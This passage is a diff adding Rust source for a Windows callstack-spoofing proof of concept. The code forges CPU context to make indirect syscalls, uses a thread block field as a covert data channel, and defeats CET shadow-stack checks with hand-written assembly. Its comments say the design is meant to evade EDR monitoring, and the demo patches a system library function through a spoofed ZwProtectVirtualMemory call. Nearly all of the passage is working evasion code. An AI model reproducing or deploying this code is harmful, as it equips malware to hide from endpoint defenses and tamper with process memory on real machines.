// Rsp = the enum function's stack pointer. + let real_return_address = (unsafe { *context_record }).Rip; + + // ---- Forge the syscall calling convention ---- + // RAX = SSN, RIP = trampoline, RCX/R10 = arg1 (duplicated because + // the kernel reads arg1 from R10, not RCX), RDX/R8/R9 = args 2-4. + unsafe { write_volatile(&raw mut (*context_record).Rax, u64::from(args.ssn)) }; + unsafe { write_volatile(&raw mut (*context_record).Rip, args.trampoline ) }; + unsafe { write_volatile(&raw mut (*context_record).Rcx, args.arg1 ) }; + unsafe { write_volatile(&raw mut (*context_record).R10, args.arg1 ) }; + unsafe { write_volatile(&raw mut (*context_record).Rdx, args.arg2 ) }; + unsafe { write_volatile(&raw mut (*context_record).R8, args.arg3 ) }; + unsafe { write_volatile(&raw mut (*context_record).R9, args.arg4 ) }; + + // ---- Place the return address and extra arguments on the stack ---- + let new_rsp = (unsafe { *context_record }).Rsp - 8; + unsafe { write_volatile(&raw mut (*context_record).Rsp, new_rsp) }; + + let sp = new_rsp as *mut u64; + + if !sp.is_null() { + // Place the real return address at [RSP]. After the syscall, + // the trampoline's `ret` pops this and returns to the enum + // function, which thinks the callback returned normally. + unsafe { write_volatile(sp, real_return_address) }; + args.cb_sp = sp as u64; + + // Arguments 5+ go on the stack. For each, save the original + // value before overwriting (for Phase 3 cleanup). + if args.args_len >= 5 { + args.cb_orig_5 = unsafe { read_volatile(sp.add(5)) }; + unsafe { write_volatile(sp.add(5), args.arg5) }; + } + + if args.args_len >= 6 { + args.cb_orig_6 = unsafe { read_volatile(sp.add(6)) }; + unsafe { write_volatile(sp.add(6), args.arg6) }; + } + + if args.args_len >= 7 { + args.cb_orig_7 = unsafe { read_volatile(sp.add(7)) }; + unsafe { write_volatile(sp.add(7), args.arg7) }; + } + + if args.args_len >= 8 { + args.cb_orig_8 = unsafe { read_volatile(sp.add(8)) }; + unsafe { write_volatile(sp.add(8), args.arg8) }; + } + + if args.args_len >= 9 { + args.cb_orig_9 = unsafe { read_volatile(sp.add(9)) }; + unsafe { write_volatile(sp.add(9), args.arg9) }; + } + + if args.args_len >= 10 { + args.cb_orig_10 = unsafe { read_volatile(sp.add(10)) }; + unsafe { write_volatile(sp.add(10), args.arg10) }; + } + + if args.args_len >= 11 { + args.cb_orig_11 = unsafe { read_volatile(sp.add(11)) }; + unsafe { write_volatile(sp.add(11), args.arg11) }; + } + } + + // Restore TEB.ArbitraryUserPointer before switching context: + // we're done using the covert data channel. + unsafe { write_volatile(teb_addr.add(0x28).cast::(), args.saved_aup) }; + + // CET-safe context switch -> lands on the syscall trampoline + user_mode_continue(context_record, new_rsp); +} + +// ============================================================================ +// CET-compliant context switch +// ============================================================================ + +/// Restores a full x64 CPU state from a `CONTEXT` record and jumps to +/// the target RIP, with CET shadow stack reconciliation. +/// +/// This is the userspace equivalent of `NtContinue`, but open-coded to +/// avoid the EDR scrutiny that `NtContinue` receives. +/// +/// ## CET shadow stack reconciliation +/// +/// On CET-enabled CPUs, forging RSP/RIP creates a mismatch between the +/// normal stack and the shadow stack. If not addressed, the first `ret` +/// after the jump would trigger a `#CP` fault. The reconciliation works +/// as follows: +/// +/// 1. `RDSSPQ rax` reads the current Shadow Stack Pointer (SSP) into +/// RAX. Returns 0 if CET is disabled, in which case the loop is +/// skipped and the technique works identically on non-CET systems. +/// 2. Scan up to 16 shadow stack entries, comparing each to the +/// expected return address at `[new_rsp]`. +/// 3. For each non-matching entry, `INCSSPQ rcx` (with rcx=1) advances +/// the SSP past the stale entry. +/// 4. On a match, SSP is aligned and subsequent `ret` instructions will +/// find consistent return addresses on both stacks. +/// +/// ## State restoration +/// +/// After SSP reconciliation, the function restores (in order): +/// - RSP (from `new_rsp`) +/// - EFLAGS (via `push`/`popfq`) +/// - All 16 general-purpose registers +/// - MXCSR (floating-point control/status) +/// - XMM6..XMM15 (non-volatile SIMD registers per the Win64 ABI) +/// +/// R14 and R15 are restored **last** because they serve as base +/// pointers throughout the sequence. R11 holds the jump target +/// (CONTEXT.Rip) and is used in the final `jmp`. +/// +/// ## Why `jmp` instead of `ret` +/// +/// `jmp` does not interact with the shadow stack. No pop, no +/// comparison, no possible `#CP` fault. This is what makes the +/// context switch CET-safe. +/// +/// ## Inputs +/// - `r14` = `new_rsp` (the stack pointer to load) +/// - `r15` = `context_record` (pointer to the 16-byte-aligned CONTEXT) +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +#[inline(never)] +fn user_mode_continue(context_record: *mut CONTEXT, new_rsp: u64) -> ! { + unsafe { + asm!( + // --- CET shadow-stack reconciliation --- + "xor rax, rax", + ".byte 0xF3, 0x48, 0x0F, 0x1E, 0xC8", // RDSSPQ rax — read SSP into RAX (0 if CET off) + "test rax, rax", + "jz 3f", // CET off -> skip the scan + + "mov r9, 16", // max 16 entries to scan + "2:", + "mov r11, [rax]", // shadow-stack entry at current SSP + "cmp r11, [r14]", // compare to expected return address at [new_rsp] + "je 3f", // matched -> SSP is aligned, done + + "mov ecx, 1", + ".byte 0xF3, 0x48, 0x0F, 0xAE, 0xE9", // INCSSPQ rcx — advance SSP by 1*8 = one 64-bit entry + "add rax, 8", // track our mirror of SSP + "dec r9", + "jnz 2b", + + // --- Full CPU state restoration --- + "3:", + "mov rsp, r14", // RSP <- new_rsp + + "mov ebx, dword ptr [r15 + 0x44]", // CONTEXT.EFlags + "push rbx", + "popfq", + + "mov rax, [r15 + 0x78]", // CONTEXT.Rax + "mov rcx, [r15 + 0x80]", // CONTEXT.Rcx + "mov rdx, [r15 + 0x88]", // CONTEXT.Rdx + "mov rbx, [r15 + 0x90]", // CONTEXT.Rbx + "mov rbp, [r15 + 0xA0]", // CONTEXT.Rbp + "mov rsi, [r15 + 0xA8]", // CONTEXT.Rsi + "mov rdi, [r15 + 0xB0]", // CONTEXT.Rdi + "mov r8, [r15 + 0xB8]", // CONTEXT.R8 + "mov r9, [r15 + 0xC0]", // CONTEXT.R9 + "mov r10, [r15 + 0xC8]", // CONTEXT.R10 + "mov r11, [r15 + 0xF8]", // CONTEXT.Rip -> indirect jump target + "mov r12, [r15 + 0xD8]", // CONTEXT.R12 + "mov r13, [r15 + 0xE0]", // CONTEXT.R13 + + "ldmxcsr dword ptr [r15 + 0x34]", // CONTEXT.MxCsr + "movdqa xmm6, [r15 + 0x200]", // CONTEXT.Xmm6..Xmm15 (non-volatile per Win64 ABI) + "movdqa xmm7, [r15 + 0x210]", + "movdqa xmm8, [r15 + 0x220]", + "movdqa xmm9, [r15 + 0x230]", + "movdqa xmm10, [r15 + 0x240]", + "movdqa xmm11, [r15 + 0x250]", + "movdqa xmm12, [r15 + 0x260]", + "movdqa xmm13, [r15 + 0x270]", + "movdqa xmm14, [r15 + 0x280]", + "movdqa xmm15, [r15 + 0x290]", + + "mov r14, [r15 + 0xE8]", // CONTEXT.R14 + "mov r15, [r15 + 0xF0]", // CONTEXT.R15 (must be last — r15 was our base ptr) + + "jmp r11", // resume at CONTEXT.Rip — NOT ret! + + in("r14") new_rsp, + in("r15") context_record, + options(noreturn) + ); + } +} + +// ============================================================================ +// Main — demonstration +// ============================================================================ + +/// PoC entry point. +/// +/// Demonstrates the callstack spoofing technique by using +/// `ZwProtectVirtualMemory` (via the spoofed path) to: +/// +/// 1. Change the protection of `kernelbase!GetEraNameCountedString` +/// to `PAGE_EXECUTE_WRITECOPY` (making it writable). +/// 2. Write 64 NOP bytes (`0x90`) over the function's first 64 bytes. +/// 3. Restore the original protection. +/// +/// The "victim" function is chosen arbitrarily: any function would +/// work. The point is to show that `ZwProtectVirtualMemory` executes +/// successfully through the spoofed call chain. +#[cfg(all(target_arch = "x86_64", target_os = "windows"))] +fn main() { + let peb_addr = get_peb_address(); + let (major, minor) = get_os_version(); + + // ---- Resolve addresses ---- + // NOTE: GetModuleHandleW/GetProcAddress are used for simplicity. + // A production implementation would resolve these via PEB walking + // and hash-based lookup to avoid EDR monitoring. + let zw_pvm_name = b"ZwProtectVirtualMemory\0"; + let victim_func = b"GetEraNameCountedString\0"; + let enum_cb_func = b"EnumSystemLocalesEx\0"; + + let ntdll_addr = unsafe { GetModuleHandleW(w!("ntdll.dll" )) }; + let kernelbs_addr = unsafe { GetModuleHandleW(w!("kernelbase.dll")) }; + + let zw_pvm_addr = unsafe { GetProcAddress(ntdll_addr , zw_pvm_name.as_ptr()).unwrap()}; + let victim_addr = unsafe { GetProcAddress(kernelbs_addr, victim_func.as_ptr()).unwrap()}; + let enum_cb_addr = unsafe { GetProcAddress(kernelbs_addr, enum_cb_func.as_ptr()).unwrap()}; + + ENUM_SYSTEM_LOCALES_EX_ADDR.store(enum_cb_addr as u64, Relaxed); + + let zw_pvm_trmp = get_trampoline(zw_pvm_addr as *mut u8).unwrap(); + let zw_pvm_ssn = get_zw_pvm_ssn(major, minor); + + // ---- Print resolved addresses ---- + println!("=== CET-Compliant Callstack Spoofing PoC ===\n" ); + println!("PEB address : {peb_addr:#0x?}" ); + println!("ntdll.dll base : {ntdll_addr:#0x?}" ); + println!("kernelbase.dll base : {kernelbs_addr:#0x?}"); + println!("Victim function : {victim_addr:#0x?}" ); + println!("ZwProtectVirtualMemory : {zw_pvm_addr:#0x?}" ); + println!("ZwProtectVirtualMemory trampoline: {zw_pvm_trmp:#0x?}" ); + println!("ZwProtectVirtualMemory SSN : {zw_pvm_ssn:#0x?}" ); + println!("EnumSystemLocalesEx : {enum_cb_addr:#0x?}" ); + println!(); + + // ---- Step 1: Change protection to PAGE_EXECUTE_WRITECOPY ---- + println!("[*] Changing protection of victim function to PAGE_EXECUTE_WRITECOPY..."); + let nops = [0x90u8; 64]; + + let Ok(old_protect) = manual_stack_unwind_zw_protect_virtual_memory( + zw_pvm_ssn, + zw_pvm_trmp, + victim_addr as *mut u8, + 64, + PAGE_EXECUTE_WRITECOPY + ) else { + println!("[-] Failed to change protection!"); + return; + }; + + println!("[+] Success! Old protection: {old_protect:#0x?}"); + + // ---- Step 2: Write NOPs over the victim function ---- + println!("[*] Writing 64 NOP bytes over the victim function..."); + unsafe { + copy_nonoverlapping( + nops.as_ptr(), + victim_addr as *mut u8, + 64 + ); + } + println!("[+] Done."); + + // ---- Step 3: Restore original protection ---- + println!("[*] Restoring original protection..."); + let Ok(_) = manual_stack_unwind_zw_protect_virtual_memory( + zw_pvm_ssn, + zw_pvm_trmp, + victim_addr as *mut u8, + 64, + old_protect + ) else { + println!("[-] Failed to restore protection!"); + return; + }; + + println!("[+] Protection restored successfully."); + println!("\n=== All operations completed. ==="); + println!("\nPress to exit..."); + let mut input = String::new(); + std::io::stdin().read_line(&mut input).unwrap(); +}